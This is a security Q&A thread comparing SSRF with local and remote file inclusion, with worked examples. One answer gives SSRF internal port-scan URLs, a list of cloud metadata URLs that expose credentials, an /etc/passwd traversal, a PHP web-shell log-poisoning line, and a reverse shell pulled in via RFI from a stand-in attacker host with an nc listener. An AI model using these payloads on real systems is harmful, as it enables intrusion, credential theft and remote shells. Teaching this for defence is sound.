1

Is there any difference between those? Can we say that Server Side Request Forgery (SSRF) is a generalization of Remote File Inclusion (RFI) and Local File Inclusion (LFI)?

3

Server-Side Request Forgery CAN be an RFI or LFI

It can be the same as RFI. The same two vulnerabilities can exist within the same function. The caveat is that a lot of web apps may block access to external domains through a firewall or something, making the RFI portion "impossible" for an external host.

Imagine you have a web app which asks you for a specific URL, and outputs information based on the url.

Let's assume RFI is blocked at the firewall level because it's not able to communicate with outside sources, and only internal hosts are whitelisted. Or maybe we can assume that the preprocessor engine or web application has functionality which prevents remote code execution through the use of escaping, etc.

Well, what if you entered internal IP addresses instead of an external IP?

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100

If the web application returns information based on that page, it may be possible to turn this into RCE in some circumstances, or even run a port scan against internal resources using the SSRF vulnerability.

Let's try a "scan" on an SSH port:

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22

which returns the following error:

PHP Warning:  fopen(hxxp://10.40.20.100:22): 
failed to open stream: hxxp request failed! 
SSH-2.0-OpenSSH_7.7p1 Debian-3 in 
/home/markfluffybunnybuffalo/test.php on line 2

You just revealed that I have SSH open on that internal network address. Hmm. Maybe you can do some enumeration on other ports and see what's open. You may even find an archive of files somewhere with which you can get some sort of internal RFI going.

You may also be able to read resources that are generally only available on the internal network, including cloud metadata.

SSRF attacks can also work like an RFI attack in many cases. But in general, people will (I hope) disable the inclusion of remote files not on the web server itself.


Cloud Metadata

One of the nastiest ways to abuse SSRF vulnerabilities is through the inclusion of cloud metadata files which could provide you with access credentials that could be used to laterally escalate across a cloud hosting proider.

Examples shown below for various cloud providers or technologies:

Amazon Web Services (AWS)

hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/ami-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

Microsoft Azure

hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Google Cloud Platform (GCP)

hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Oracle Cloud

hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/

Kubernetes

hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics

Local File Inclusion

A function vulnerable to LFI may also be vulnerable to RFI. It depends. In this scenario, you are including a local file, such as

hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd

This lets you see what users are on the system, so maybe you can try to connect via SSH as one of those users, or find more information about them. There's a lot of different things you can do with it.

Maybe you can also include a script that you've written to the server, or perhaps you've poisoned the access.log with code that would be executed by a preprocessor engine (such as placing <? echo shell_exec($_GET["c"]); ?> within a legitimate request that gets logged), to get remote code execution as a different user depending on the context.

Remote File Inclusion

See above, only it allows remote files. It may be possible that the function is vulnerable to both LFI and RFI.

With RFI, the likelihood of executing code is very high. You can host a web server which returns PHP code without processing it through the preprocessor engine, which then gets executed on the victim's server.

hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

If you put PHP code in that file, you may be able to execute code with this vulnerability. One example is using reverse shell code. You'd throw up a listener:

nc -nlvp 4444

And then visit the page with the RFI vulnerability, which should trigger your reverse shell:

connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami

markfluffybunnybuffalo

Conclusion

So it looks like RFI/LFI and SSRF are pretty much the same class of vulnerabilites, just used in different ways.

2

SSRF and RFI/LFI are both injection attacks, but they are different and can have different implications depending on how they are implemented.

For SSRF, consider the example below:

if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');

In the above code the user has control over the "uri" parameter and can make arbitrary requests to an external server from the target server. Now, this can also be abused to make requests to resources the target server has access to. Something like http://localhost/aws-stats or access other internal resources. You can further enumerate ports/services of the local network, or use "file://" and "dict://" schemes to access files on the server.

RFI/LFI, look at the code in DVWA: https://github.com/ethicalhack3r/DVWA/blob/master/vulnerabilities/fi/index.php

if( isset( $file ) )
include( $file );

This is very similar to SSRF, but can also be abused to include your own PHP code and execute it on the server. There are several ways one can exploit LFI/RFI to get RCE. You might want to take a look at this paper:

https://www.exploit-db.com/papers/12992/

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.